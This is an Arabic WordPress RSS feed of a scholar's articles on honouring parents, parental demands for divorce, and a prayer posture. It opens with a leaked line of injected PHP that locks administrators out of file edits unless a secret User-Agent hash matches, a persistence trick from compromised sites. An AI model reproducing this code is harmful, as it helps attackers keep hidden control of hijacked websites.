if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } الموقع الرسمي للدكتور فهد بن مبارك آل زُعير https://drfahadalzoair.com/ الموقع الرسمي للدكتور فهد بن مبارك آل زعير Thu, 04 Apr 2024 08:42:15 +0000 ar hourly 1 https://wordpress.org/?v=7.0 https://drfahadalzoair.com/wp-content/uploads/2022/12/cropped-logo-1-32x32.png الموقع الرسمي للدكتور فهد بن مبارك آل زُعير https://drfahadalzoair.com/ 32 32 فضائل بر الوالدين https://drfahadalzoair.com/%d9%81%d8%b6%d8%a7%d8%a6%d9%84-%d8%a8%d8%b1-%d8%a7%d9%84%d9%88%d8%a7%d9%84%d8%af%d9%8a%d9%86/ Mon, 02 Oct 2023 22:40:05 +0000 https://drfahadalzoair.com/?p=28115 فضائل بر الوالدين   (فَصْلٌ، وَبِرُّ الوَالِدَيْنِ وَاجِبٌ) هذا باتفاق أهل العلم، قد دلت عليه نصوص الكتاب والسنة، ولو لم يرد في الكتاب والسنة أمرٌ به لكان هو مقتـضى المروءة ورد الجميل، فكيف ونصوص الكتاب طافحة كثيرة متظافرة في الأمر به والحث عليه وإيجابه وبيان أنه من أوجب الواجبات وألزم الطاعات، ووصف ضده وهو العقوق …

فضائل بر الوالدين قراءة المزيد »

ظهرت المقالة فضائل بر الوالدين أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

فضائل بر الوالدين

(فَصْلٌ، وَبِرُّ الوَالِدَيْنِ وَاجِبٌ) هذا باتفاق أهل العلم، قد دلت عليه نصوص الكتاب والسنة، ولو لم يرد في الكتاب والسنة أمرٌ به لكان هو مقتـضى المروءة ورد الجميل، فكيف ونصوص الكتاب طافحة كثيرة متظافرة في الأمر به والحث عليه وإيجابه وبيان أنه من أوجب الواجبات وألزم الطاعات، ووصف ضده وهو العقوق بأنه من أعظم الظلم والجور وأكبر الكبائر بعد الشرك بالله، أما قوله رحمه الله: (سُئِلَ الإِمَامُ أَحْمَدُ رَضِيَ اللهُ عَنْهُ عَنْ بِرِّ الوَالِدَيْنِ: أَفَرْضٌ هُوَ؟ فَقَالَ: لَا أَقُوْلٌ فَرْضٌ، وَلَكِنَّهُ وَاجِبٌ) نقول: هذا من ورعه في العبارات، أعني الإمام أحمد وإلا فلا فرق على الصحيح بين الفرض والواجب كما هو مذهب الجماهير من المالكية والشافعية والحنابلة، وأما الحنفية فيفرقون، فيقولون: إن الفرض ما ثبت في الأدلة القطعية في الكتاب، والواجب ما ثبت في السنة، وهذا لا ينطبق على ما نحن بصدده؛ فإن بر الوالدين قد دلت عليه الأدلة العظيمة في أدلة الكتاب والسنة، إذن قوله رحمه الله: (سُئِلَ الإِمَامُ أَحْمَدُ رَضِيَ اللهُ عَنْهُ عَنْ بِرِّ الوَالِدَيْنِ: أَفَرْضٌ هُوَ؟ فَقَالَ: لَا أَقُوْلٌ فَرْضٌ، وَلَكِنَّهُ وَاجِبٌ) نقول: هذا مبنيٌ على رواية عند الحنابلة رحمهم الله يوافقون فيها الحنفية في التفريق بين الفرض والواجب وأن الفرض آكد من الواجب وأن ما لزم بالقرآن فهو فرض وما لزم بالسنة واجب، والقول الثاني: أن الفرض والواجب بمعنًى واحد وهذا يستقيم ويتأكد في هذا الباب على وجه الخصوص، أن بر الوالدين فرضٌ لازمٌ متحتمٌ، ويشكل على التفريق الذي ذكروه بر الوالدين فإنه منصوص عليه في الكتاب والسنة، نقل ابن مفلح عن الميموني أنه قال: قلت لأبي عبدالله أي الإمام أحمد: كان الشافعي يقول بر الوالدين فرضٌ؟ قال: لا أدري، قلت: فمالك؟ قال: لا أدري، قلت: فتعلم أحدًا قال فرضٌ؟ قال: لا أعلمه، قلت: ما تقول أنت فرض؟ قال: فرض هكذا ولكن أقول واجبٌ ما لم يكن معصية، إذن نقول هو فرض متحتم دلت أدلة الكتاب والسنة والإجماع، وقد أمر ربنا جل شأنه به وأمر بالإحسان إليهما -أي الوالدين- بكل نوع من أنواع البر، «سُئل صَلَّى الله عَلَيْهِ وَسَلَّمْ عن أيُّ العَمَلِ أحَبُّ إلى اللهِ؟ قالَ: الصَّلَاةُ علَى وقْتِهَا قالَ: ثُمَّ أيٌّ؟ قالَ: برُّ الوَالِدَيْنِ قالَ: ثُمَّ أيٌّ؟ قالَ: الجِهَادُ في سَبيلِ اللهِ»[1] [الحديث متفقٌ عليه من حديث ابن مسعود رضي الله عنه]، هذا الحديث مصدّر في باب البر؛ لأنه صريحٌ في تفضيله على سائر الطاعات والقُربات حتى الجهاد الذي هو ذروة سنام الإسلام والذي تشرئب إليه نفوس أهل الإيمان، نقول: بر الوالدين أوجب وآكد وألزم إلا أن يكون الجهاد فرض عينٍ فإنه حينئذٍ مقدم، وأما جهاد الطلب وجهاد فرض الكفاية فإن بر الوالدين آكد منه وألزم، وسيأتي مزيد بيان لهذا من السنة المطهرة، والله جل شأنه قرن بر الوالدين بالأمر بأعظم الأوامر وهو عبادته {وَاعْبُدُوا اللهَ وَلَا تُشْـرِكُوا بِهِ شَيْئًا وَبِالْوَالِدَيْنِ إِحْسَانًا} [النساء: ٣٦]، وقال جل شأنه: {وَاتَّقُوا اللهَ الَّذِي تَسَاءَلُونَ بِهِ وَالْأَرْحَامَ} [النساء: ١]، وأعظم الرحم صلةً الوالدين، فإن كلما ورد في الكتاب والسنة في صلة الأرحام يدخل فيه دخولًا أوليًا بر الوالدين فهو آكده وأعظمه، وقال تعالى: {وَالَّذِينَ يَصِلُونَ مَا أَمَرَ اللهُ بِهِ أَنْ يُوصَلَ} [الرعد: ٢١]، وقد أمر جل شأنه بوصل الوالدين وبرهما والإحسان إليهما، وقال جل شأنه: {وَوَصَّيْنَا الْإِنْسَانَ بِوَالِدَيْهِ حُسْنًا} [العنكبوت: ٨]، وقال جل شأنه وتقدس اسمه: {وَقَضَى رَبُّكَ أَلَّا تَعْبُدُوا إِلَّا إِيَّاهُ وَبِالْوَالِدَيْنِ إِحْسَانًا إِمَّا يَبْلُغَنَّ عِنْدَكَ الْكِبَرَ أَحَدُهُمَا أَوْ كِلَاهُمَا فَلَا تَقُلْ لَهُمَا أُفٍّ وَلَا تَنْهَرْهُمَا وَقُلْ لَهُمَا قَوْلًا كَرِيمًا * وَاخْفِضْ لَهُمَا جَنَاحَ الذُّلِّ مِنَ الرَّحْمَةِ وَقُلْ رَبِّ ارْحَمْهُمَا كَمَا رَبَّيَانِي صَغِيرًا} [الإسراء: 23-24]، وقال جل شأنه وتقدس اسمه: {وَوَصَّيْنَا الْإِنْسَانَ بِوَالِدَيْهِ حَمَلَتْهُ أُمُّهُ وَهْنًا عَلَى وَهْنٍ وَفِصَالُهُ فِي عَامَيْنِ أَنِ اشْكُرْ لِي وَلِوَالِدَيْكَ} [لقمان: ١٤]، إذن تأمل قرن الله جل شأنه وتقدس اسمه الأمر بعبادته وهي أعظم مأمور وما خلق الخلق من جن وإنس إلا لهذا الأمر وهو عبادته ومع ذلك قرنها وقرن بر الوالدين بها، ولما نهى عن الشرك قرنه بالعقوق كما جاء في الكتاب والسنة، وأمر بشكره جل شأنه وتقدس اسمه وشكر الوالدين، وقال صلى الله عليه وسلم: «لا يَجزي وَلَدٌ والِدَه؛ إلَّا أنْ يَجِدَه مَملوكًا، فيَشتَريَه فيُعتِقَه»[2]، هذا الوحيد الذي يمكن أن يجازي ويكافئ والده، أن يجده مملوكًا فيشتريه فيعتقه، هذا الآن معدوم ولا يتحقق هذا السبب، ولهذا مهما عملت من بر وإحسان وبالغت في ذلك أي مبالغة فإنه والله وتالله وبالله لا تجازيه ولا تكافيه، ولهذا لما رأى ابن عمر رضي الله عنهما رجلًا قدم بأمه يحملها على ظهره من اليمن، يمشي على قدميه من اليمن إلى مكة ثم يطوف بها ويسعى ويتنقل في المشاعر ولا يتذمر ولا يتضايق لكن لما رأى ابن عمر أراد أن يسأله هذا السؤال، فقال: أتراني قد أديت حقها، قال: لا والله ولا بطلقة من طلقاتها، الطلقة: الزفرة التي تخرج من المرأة عند ولادتها، يقول ابن عمر، ومن هو ابن عمر رضي الله عنهما: والله ولا طلقة من طلقاتها، يعني لا يمكن هذا الجهد العظيم الذي قل من يفعله، أن يحمل أمه من أقصى الدنيا، من أقصى الجنوب إلى مكة على ظهره ويطوف بها ويسعى ويمشي بها بين المشاعر ومع ذلك يقول: ولا طلقه لكنك عملت خيرًا والله يجزيك عليه خيرًا، ولهذا نقول: مهما بالغ العبد ومهما فتح الله عليه ومهما وفقه وسدده ويسر له سُبل البر فإنه لا يكافي والده، لا يكافيه لكن يدرك شيئًا من الفضل والبر والإحسان ولهذا جاء رجل إلى النبي صلى الله عليه وسلم فقال: «مَن أَحَقُّ النَّاسِ بحُسْنِ صَحَابَتِي؟ قالَ: أُمُّكَ قالَ: ثُمَّ مَنْ؟ قالَ: ثُمَّ أُمُّكَ قالَ: ثُمَّ مَنْ؟ قالَ: ثُمَّ أُمُّكَ قالَ: ثُمَّ مَنْ؟ قالَ: ثُمَّ أَبُوكَ»[3] [الحديث متفق عليه]، وهذا يدل على أن حق الأم في البر والإحسان والصلة أضعاف حق الأب، والصحابة هنا بمعنى الصحبة، وجاء عنه صلى الله عليه وسلم أنه قال: «رَغِمَ أنْفُ، ثُمَّ رَغِمَ أنْفُ، ثُمَّ رَغِمَ أنْفُ، قيلَ: مَنْ؟ يا رَسولَ اللهِ، قالَ: مَن أدْرَكَ أبَوَيْهِ عِنْدَ الكِبَرِ -أحَدَهُما أوْ كِلَيْهِما- فَلَمْ يَدْخُلِ الجَنَّةَ»[4] [الحديث رواه مسلم]، هذا مغبون، هذا خاسر، هذا محروم، أدرك بابًا من أبواب الجنة فلم يدخله، عاش عنده أبواه كبيران وماتا وهما عنه غير راضيين، هذا بئس الرجل وبئس المرأة وبئس الفرد، محرومٌ غاية الحرمان، ولهذا دعى عليه صلى الله عليه وسلم بالرغام، أن يلصق أنفه في التراب، وعن عبدالله بن عمرو بن العاص رضي الله عنهما قال: «أَقْبَلَ رَجُلٌ إلى نَبِيِّ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ فَقالَ: أُبَايِعُكَ علَى الهِجْرَةِ وَالْجِهَادِ، أَبْتَغِي الأجْرَ مِنَ اللهِ، قالَ: فَهلْ مِن وَالِدَيْكَ أَحَدٌ حَيٌّ؟ قالَ: نَعَمْ، بَلْ كِلَاهُمَا، قالَ: فَتَبْتَغِي الأجْرَ مِنَ اللهِ؟ قالَ: نَعَمْ، قالَ: فَارْجِعْ إلى وَالِدَيْكَ فأحْسِنْ صُحْبَتَهُمَا»[5]، هذا هو الدين العظيم، ولهذا من يزهد في بر أبويه وتشـرئب نفسه للجهاد فيخرج بلا إذن والديه، نقول: آثم عاصي عاق وربما حُبس عن دخول الجنة وإن مات شهيدًا كما جاء في تفسير أهل الأعراف أنهم الذين خرجوا للجهاد بدون إذن والديهم فحالت الشهادة دون دخولهم النار وحال خروجهم بدون إذن والديهم من دخول الجنة، فهم محبوسون على الأعراف حتى يقضي الله فيهم أمرًا كان مفعولًا، وقيل: بل هو عام في كل من استوت حسناتهم مع سيئاتهم، وإذا كان هذا قد جاد بنفسه وذهب للجهاد ونال الشهادة ومع ذلك يُحبس عن الجنة بسبب هذا، فهذا دليلٌ على عِظم شأن بر الوالدين، وفي رواية لهما: «جَاءَ رَجُلٌ إلى النبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمَ، فَاسْتَأْذَنَهُ في الجِهَادِ، فَقَالَ: أحَيٌّ والِدَاكَ؟ قَالَ: نَعَمْ، قَالَ: فَفِيهِما فَجَاهِدْ»[6] إذن أعظم الجهاد بر الوالدين والإحسان إليهما، والوالدان برهما وما ورد فيهما شأن عظيم في كتاب الله وسنة رسوله صلى الله عليه وسلم، فبرهما من أجل الطاعات وأعظم القربات وأوجب الواجبات، وهو الإحسان والإكرام والإفضال وفعل الجميل {وَقَضَى رَبُّكَ أَلَّا تَعْبُدُوا إِلَّا إِيَّاهُ وَبِالْوَالِدَيْنِ إِحْسَانًا} [الإسراء: ٢٣] إحسانًا: لفظٌ يشمل كل معروف من قول وفعل وصلة، وفي قوله جل شأنه: {وَوَصَّيْنَا الْإِنْسَانَ بِوَالِدَيْهِ} [العنكبوت: ٨] تأملوا، لم يوصي ربنا جل شأنه الوالدين بأولادهم، تأملوا النصوص في الكتاب والسنة تجدوا الوصية بالوالدين، وذلك أن الأصل في الأب الشفقة والحنو والرحمة والإحسان، ولهذا ما يحتاج أن يوصَى لكن هذا الابن الذي يحتاج إلى توصية، وكذلك قوله: {أَنِ اشْكُرْ لِي وَلِوَالِدَيْكَ إِلَيَّ الْمَصِيرُ} [لقمان: 14]، وقول النبي صلى الله عليه وسلم لمن سأله، في حديث ابن مسعود عن أحب الأعمال، قال بعد الصلاة على وقتها: بر الوالدين، وتقديمه لبر الوالدين على الجهاد، كل ذلك دليلٌ على عِظم شأن بر الوالدين بل جاء في النص الصحيح الصـريح أن «رِضا الرَّبِّ في رِضا الوالِدِ، وسَخَطُ الرَّبِّ في سَخَطِ الوالِدِ»[7] [رواه الترمذي بسندٍ صحيح] بل جاء أن الوالد ويشمل الأم والأب على حد سواء «أوسطُ أبوابِ الجنَّةِ، فإنَّ شئتَ فأضِع ذلك البابَ أو احفَظْه»[8] [رواه الترمذي]، وجاء «فالزَمها أي قدم الوالدة فإنَّ الجنَّةَ تحتَ رِجلَيها»[9]، فبر الوالدين عظيم الشأن وهو من أعظم أسباب كفارة الذنوب وذلك أنه جاء لابن عمر رضي الله عنهما رجل سأله، وجاء مرفوعًا للنبي صلى الله عليه وسلم: «أن رجلًا جاء يسأل يقول: اقترفت ذنبًا فما كفارته؟ فقال له ابن عمر: ألك أمٌ؟ قال: لا، قال: ألك خالة؟ قال: نعم، قال: فصلها»[10]، وجاء مرفوعًا للنبي صلى الله عليه وسلم وذلك أنهم لم يظهر لهم ما يُكفر هذا الذنب الكبير مثل بر الوالدين والإحسان إليهما، ولما كانت الخالة بمنزلة الأم ذكرها عقب ذلك، كما أن بر الوالدين سببٌ لإجابة الدعاء بل دعاء الوالدين لا يُرد كما جاء في قول النبي صلى الله عليه وسلم: «ثلاث دعوات مستجابات لا شك فيهن وذكر منهن: دعوة الوالد»[11] وما أكثر ما نرشد آباءنا وإخواننا الكبار أن يسلطوا هذا الدعاء في الإحسان والهداية والتوفيق والتسديد للأولاد وأن يكون دعاءً إيجابيًا لكنهم أحيانًا يفرقون ويرون من العقوق والتقصير والتفريط ما يجعلهم يخرجون عن طورهم فيدعون فتُستجاب دعوتهم، إذن بر الوالدين من أسباب إجابة الدعاء، إن دعى الولد أُجيبت دعوته، ولهذا تذكرون قصة أهل الغار الذين انطبقت عليهم الغار ولم يجدوا مخرجًا ولا محيصًا ولا فرجًا إلا بتذكر أحسن أعمالهم وأخلصها، فقال أولهم: إنه كان له أبوان لا يغبق قبلهما أحد أنه نأي به البحث عن العشب والرعي فتأخر فنام أبواه، فجاء باللبن ولم يُرد أن يغبق قبلهما أحد ووجد صبيته يتضاغون، يبكون، يصيحون لكن عنده عهدٌ بينه وبين ربه أنه لا يُسقي بهذا اللبن أحدٌ قبل أبويه فانتظر حتى أصبح الصبح، فقام فأغبقهما وأعطاهما قبل أولاده، وهذا وإن لم يكن واجبًا عليه لكنه علم الله صدقه وإحسانه وبره فأكرمه وفرّج عنه وعن من معه تفريجًا لا يستطيعون الخروج منه حتى ذكر غيره ما فعل من عمل صالح[12]، فبر الوالدين سببٌ في إجابة الدعاء من الابن نفسه ومن والده، فإنه إذا أحسن وبر ووصل دعا له أبوه، كما أن عقوقهما من أعظم الكبائر كما في حديث أبي بكرة في الصحيحين: «أَلَا أُنَبِّئُكُمْ بِأَكْبَرِ الكَبَائِرِ؟ ثَلَاثًا، قالوا: بَلَى يا رَسُولَ اللهِ، قالَ: الإشْرَاكُ باللهِ، وَعُقُوقُ الوَالِدَيْنِ -وَجَلَسَ وَكانَ مُتَّكِئًا فَقالَأَلَا وَقَوْلُ الزُّورِ، قالَ: فَما زَالَ يُكَرِّرُهَا حتَّى قُلْنَا: لَيْتَهُ سَكَتَ»[13]، فدل ذلك كله، والنصوص في هذا الباب كثيرة لا يمكن أن نحصرها على عِظم شأن بر الوالدين وعِظم شأن وخطورة عقوقهما.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5970)، ومسلم (85) باختلاف يسير.

[2] أخرجه مسلم (1510)، والترمذي (1906)، والنسائي في السنن الكبرى (4896)، وابن ماجه(3659) باختلاف يسير، وأبو داود (5137)، وأحمد (7570) واللفظ لهما.

[3] أخرجه البخاري (5971)، ومسلم  .(2548)

[4] أخرجه مسلم (2551).

[5] أخرجه مسلم  .(2549)

[6] أخرجه البخاري   .(3004)

[7] أخرجه الترمذي (1899)، والحاكم (7249) واللفظ لهما، وابن حبان (429) باختلاف يسير، والحديث حسنه الألباني في السلسلة الصحيحة (516).

[8] أخرجه الترمذي (1900) واللفظ له، وابن ماجه (3663)، وأحمد (27551)، والحديث صححه الألباني في صحيح الترمذي (1900).

[9] أخرجه الألباني في صحيح النسائي (3104)، وقال: حسن صحيح.

[10] أخرجه أحمد (4624)، وابن حبان (435)، والحاكم  (7261)عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُمَا قال: «أتَى رسولَ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ رَجُلٌ، فقال: يا رسولَ اللهِ، إنِّي أذْنَبتُ ذَنْبًا كَبيرًا، فهل لي تَوبَةٌ؟ فقال له رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: ألكَ والِدانِ؟ قال: لا، قال: فلكَ خالَةٌ؟ قال: نَعَمْ، فقال رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ: فبِرَّها إذًا» والحديث صححه الألباني في صحيح الموارد (1697).

[11] أخرجه أبو داود (1536)، والترمذي (1905)، وابن ماجه (3862)، وأحمد (7501)، والحديث حسنه الترمذي، وحسنه الألباني في صحيح (3448).

[12] الحديث بطوله أخرجه البخاري (2333)، ومسلم  .(2743)

[13] أخرجه البخاري (2654)، ومسلم  .(87)

ظهرت المقالة فضائل بر الوالدين أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
هل يجب طاعة الوالدين في تطليق الزوجة؟ https://drfahadalzoair.com/%d9%87%d9%84-%d9%8a%d8%ac%d8%a8-%d8%b7%d8%a7%d8%b9%d8%a9-%d8%a7%d9%84%d9%88%d8%a7%d9%84%d8%af%d9%8a%d9%86-%d9%81%d9%8a-%d8%aa%d8%b7%d9%84%d9%8a%d9%82-%d8%a7%d9%84%d8%b2%d9%88%d8%ac%d8%a9%d8%9f/ Mon, 02 Oct 2023 22:37:35 +0000 https://drfahadalzoair.com/?p=28124 هل يجب طاعة الوالدين في تطليق الزوجة؟   ما يكثر أحيانًا من النزاع بين الأم وزوجة الابن وربما الأب وزوجة الابن فربما أمراه بالطلاق، فيقول: هل يجب علي طاعتهما؟ نقول: لا، لا يجب عليك طاعتهما لكن يجب عليك الإحسان إليهما وصلتهما وإكرامهما وإن كانت الزوجة قد قصرت في حقهما فتؤدب وتُربى وتُنبه إلى الاعتذار ونحو …

هل يجب طاعة الوالدين في تطليق الزوجة؟ قراءة المزيد »

ظهرت المقالة هل يجب طاعة الوالدين في تطليق الزوجة؟ أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

هل يجب طاعة الوالدين في تطليق الزوجة؟

ما يكثر أحيانًا من النزاع بين الأم وزوجة الابن وربما الأب وزوجة الابن فربما أمراه بالطلاق، فيقول: هل يجب علي طاعتهما؟ نقول: لا، لا يجب عليك طاعتهما لكن يجب عليك الإحسان إليهما وصلتهما وإكرامهما وإن كانت الزوجة قد قصرت في حقهما فتؤدب وتُربى وتُنبه إلى الاعتذار ونحو ذلك، لكن لا يجب على الولد تطليق زوجته إذا طلب أبوه أو أمه الطلاق ولم يكن فيها بأس، لم تكن مقصرة في دين ولا خلق ولا متهمة بتهمة في عرضها ونحو ذلك، نقول: هذا لا يجب عليه طاعة، وقد جاء للإمام أحمد رجل يسأله، فقال: إن أبي يريدني أن أُطلق زوجتي، قال: لا تطعه، فذكر له حديث النبي صلى الله عليه وسلم وهو أنه أمر ابن عمر أن يُطيع عمر لما طلب منه تطليق زوجته، فقال: هل أبوك مثل عمر؟ إذن عمر رضي الله عنه لا يمكن أن يأمر عبدالله بن عمر أن يُطلق زوجته إلا وقد رأى فيها ما يُخالف الشرع وما لا تستقيم معه الحياة الزوجية، لكن بعض الآباء وبعض الأمهات قد يطلب الطلاق لأتفه سبب، ولهذا نقول: لا يجب عليه شرعًا لكن يجب أيضًا أن يهتم بعلاج الأمر ومعالجته ومدارسته والاهتمام به، وأما الطلاق بدون سبب فإن هذا وإن كان تحقيقًا لرغبة الأبوين فإن فيه ظلمًا للمرأة وهدمًا للأسرة وتشتيتًا لها، لكن لو أن الشاب خطب من أسرة فأبى أبواه أو أحدهما الزواج منها، نقول: هنا يتحتم عليه الكف والامتناع؛ لأنه لا زال في السعة وكيف يقدم على الزواج من فتاة والداه أو أحدهما لا يرضيان بذلك.

 

ظهرت المقالة هل يجب طاعة الوالدين في تطليق الزوجة؟ أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
حكم الإتكاء على اليد من وراء الظهر​ https://drfahadalzoair.com/%d8%ad%d9%83%d9%85-%d8%a7%d9%84%d8%a5%d8%aa%d9%83%d8%a7%d8%a1-%d8%b9%d9%84%d9%89-%d8%a7%d9%84%d9%8a%d8%af-%d9%85%d9%86-%d9%88%d8%b1%d8%a7%d8%a1-%d8%a7%d9%84%d8%b8%d9%87%d8%b1/ Mon, 02 Oct 2023 22:35:02 +0000 https://drfahadalzoair.com/?p=28114 حكم الإتكاء على اليد من وراء الظهر (فَصْلٌ، وَيُكْرَهُ الاتِّكَاءُ عَلَى يُسْرَى يَدَيْهِ مِنْ وَرَاءِ ظَهْرِهِ) ورد الكلام على الاتكاء عند الكلام على آداب الأكل والشرب وأنه ﷺ قال: «لا آكُلُ متَّكئًا»[1] لكن هنا جاء الاتكاء على اليسرى، فهل هذا عام؟ نقول: الصحيح أنه نهيٌ على وجه الكراهة في حال الصلاة، كما جاء عن ابن عمر …

حكم الإتكاء على اليد من وراء الظهر​ قراءة المزيد »

ظهرت المقالة حكم الإتكاء على اليد من وراء الظهر​ أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

حكم الإتكاء على اليد من وراء الظهر

(فَصْلٌ، وَيُكْرَهُ الاتِّكَاءُ عَلَى يُسْرَى يَدَيْهِ مِنْ وَرَاءِ ظَهْرِهِ) ورد الكلام على الاتكاء عند الكلام على آداب الأكل والشرب وأنه قال: «لا آكُلُ متَّكئًا»[1] لكن هنا جاء الاتكاء على اليسرى، فهل هذا عام؟ نقول: الصحيح أنه نهيٌ على وجه الكراهة في حال الصلاة، كما جاء عن ابن عمر وفسّره أنه قعدة المغضوب عليهم -أي اليهود- وأما ما جاء في حديث الشريد بن سويد قال: «مرّ بي رسولُ اللهِ  وأنا جالسٌ هكذا وقد وضعتُ يدِي اليُسرى خلفَ ظهري واتّكأتُ على إلْيةِ يديّ -وهي ما تحت الإبهام- فقال: أتقعُدُ قعدَةَ المغضوبِ عليهِم»[2] [الحديث رواه الإمام أحمد والحاكم وقال صحيح الإسناد، وسكت عنه الذهبي، وفيه ابن جريج وهو مدلس]، فالصحيح أن هذا الحديث لا يصح، لكن جاء عن ابن عمر بسندٍ أصح منه موقوفًا عليه أنه رأى رجلًا يتكئ على يسـراه وهو يصلي، فقال: إن هذه جلسة المغضوب عليهم[3].

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه البخاري (5398) باختلاف يسير عنده، وصححه الألباني في مختصر الشمائل (106).

[2] أخرجه أبو داود (4848)، وأحمد (19454)، والحديث صحح إسناده النووي في المجموع (4/474)، وصححه الألباني في جلباب المرأة (197).

[3] أخرجه أبو داود (994) عن ابن عمر رَضِيَ اللهُ عَنْهُمَا «أنَّه رأى رَجُلًا يَتَّكئُ على يَدِه اليُسرى وهو قاعِدٌ في الصَّلاةِ -قال هارونُ بنُ زَيدٍ: ساقِطًا على شِقِّهِ الأيسَرِ، ثم اتَّفَقا- فقال له: لا تَجلِسْ هكذا؛ فإنَّ هكذا يَجلِسُ الذين يُعذَّبونَ»، والحديث حسنه الألباني في صحيح أبي داود (994).

ظهرت المقالة حكم الإتكاء على اليد من وراء الظهر​ أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>
بر الوالدين في حياتهما https://drfahadalzoair.com/%d8%a8%d8%b1-%d8%a7%d9%84%d9%88%d8%a7%d9%84%d8%af%d9%8a%d9%86-%d9%81%d9%8a-%d8%ad%d9%8a%d8%a7%d8%aa%d9%87%d9%85%d8%a7/ Mon, 02 Oct 2023 22:24:48 +0000 https://drfahadalzoair.com/?p=28105 بر الوالدين في حياتهما   من بر الوالدين في حياتهما الإحسان إليهما بالقول والفعل والمعروف، ومن ذلك الرفق بهما لا سيما إذا كبرا ورقت عظامهما واحدودب ظهرهما وأصبحا ربما لا يميزان حينئذٍ يأتي البر العظيم والإحسان الكبير، ولهذا ندب الله الأولاد إلى البر والإحسان في هذه الحال أكثر من ذي قبل، فيرفق بهما ويحنو عليهما …

بر الوالدين في حياتهما قراءة المزيد »

ظهرت المقالة بر الوالدين في حياتهما أولاً على الموقع الرسمي للدكتور فهد بن مبارك آل زُعير.

]]>

بر الوالدين في حياتهما

من بر الوالدين في حياتهما الإحسان إليهما بالقول والفعل والمعروف، ومن ذلك الرفق بهما لا سيما إذا كبرا ورقت عظامهما واحدودب ظهرهما وأصبحا ربما لا يميزان حينئذٍ يأتي البر العظيم والإحسان الكبير، ولهذا ندب الله الأولاد إلى البر والإحسان في هذه الحال أكثر من ذي قبل، فيرفق بهما ويحنو عليهما ويشفق مهما غضبا ومهما رفعا الصوت ومهما تكلما فإنه يقابل ذلك بالإحسان واللطف والأدب معهما في القول والعمل، وكذلك النفقة عليهما إذا كانا محتاجين وهو مستطيع ولا يليق أن يحوجهما إلى سؤاله وطلبه فإن هذا ليس من البر، البر أن تبتدأهما وأن تنفق عليهما وأن تتصدق عنهما وأن تهديهما وأن تُحسن إليهما وأن تُحسن إلى أولادهما وإلى قرابتهما فإن ذلك من أعظم أنواع البر، حينما يرى الأب أو الأم أن ابنه الذي تفضل الله عليه بشيء من المال يواسي إخوته ويواسي المحتاج من قرابته لا شك أنه يفرح بذلك ويُسر ويرى امتداد عمله، ولهذا من أقبح العقوق أن يشتكي الابن أباه في ماله وما كان الناس يتوقعون ذلك لكن اليوم في المحاكم قضايا كثيرة بين آباء وأبناء، أي عقوق وصل إليه هذا الابن الذي يقاضي أباه لا سيما إذا كان ممن وسع الله عليه وأبوه ممن ضُيق عليه، فإن هذا ليس من البر في شيء بل إن هذا عقوق عظيم، ولهذا لما شكى رجل أباه إلى النبي صلى الله عليه وسلم وقال: إن أبي يجتاح مالي، طلب النبي صلى الله عليه وسلم هذا الأب، وجاء ونزل على النبي صلى الله عليه وسلم جبرائيل وأخبره أن الأب المكلوم قال أبياتًا في نفسه، فلما حضر سأله صلى الله عليه وسلم عن هذه الأبيات التي قالها وهو في حرقة وألم من هذا الابن الذي غذاه صغيرًا ولما بلغ السن الذي يُرتجى صار حقه العقوق والتقصير حتى وصل إلى أن يشكيه إلى النبي صلى الله عليه وسلم في ماله، فقال صلى الله عليه وسلم: أنت ومالك لأبيك، ليس المال بل أنت ومالك لأبيك[1]، إلا أن هذا كما يذكره أهل العلم ويبينونه أن يكون بالمعروف فلا يأخذ الأب كل مال ولده ولا يأخذ الصنعة التي يصنعها أو الأداة التي يحتاجها ولا يأخذ من ماله ويعطي بقية أخوته فإن الواجب على الأب العدل في أمواله هو، فكيف يأخذ من مال بعضهم ويعطي بعض، اللهم إلا أن يكون إعطاؤه من باب النفقة.

كذلك من البر مخاطبتهما بالكلام اللين وعدم رفع الصوت وبالأسلوب الحسن والكلام الطيب وذلك أن الله نهى عن أقل ما يمكن أن يصدر من الابن من الضجر والتأفف {فَلَا تَقُلْ لَهُمَا أُفٍّ} [الإسراء: ٢٣] ولو علم الله شيئًا يمكن أن يُقال غير هذا لذكره فلما نهى عن قول أف عُلم من هذا قطعًا أن ما هو أعظم من أف محرم من باب أولى، وقد وصل الحد ببعض الأبناء العققة الجهلة المجرمين أن يرفع صوته وربما يده، وهذا لا شك أنه منتهى العقوق نسأل الله السلامة والعافية.

كما أن من بر الوالدين السمع لهما والطاعة ما لم يأمرا بمعصية، والسمع لهما والطاعة مقيد بهذا، ومتى يكون أمر الوالد واجبًا على الابن؟ قال أهل العلم: إذا كان فيه مصلحة للأب أو الأم ولا مضرة فيه على الابن، أما إذا لم يكن فيه مصلحة أو كان فيه مضرة على الابن فإنه لا تجب الطاعة.

ــــــــــــــــــــــــــــــــــــــــــــــــــــــــــــ

[1] أخرجه أبو داود (3530)، وأحمد (7001)، وابن ماجه (2292) عن عبدالله بن عمر رَضِيَ اللهُ عَنْهُمَا قال: «جاءَ رجلٌ إلى النَّبيِّ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ فقالَ إنَّ أبي اجتاحَ مالي فقالَ أنتَ ومالُكَ لأبيكَ وقالَ رسولُ اللهِ صَلَّى اللهُ عَلَيْهِ وَسَلَّمْ إنَّ أولادَكم من أطيبِ كسبِكُم فَكلوا من أموالِهم»، والحديث صححه الألباني في صحيح ابن ماجة (1870).

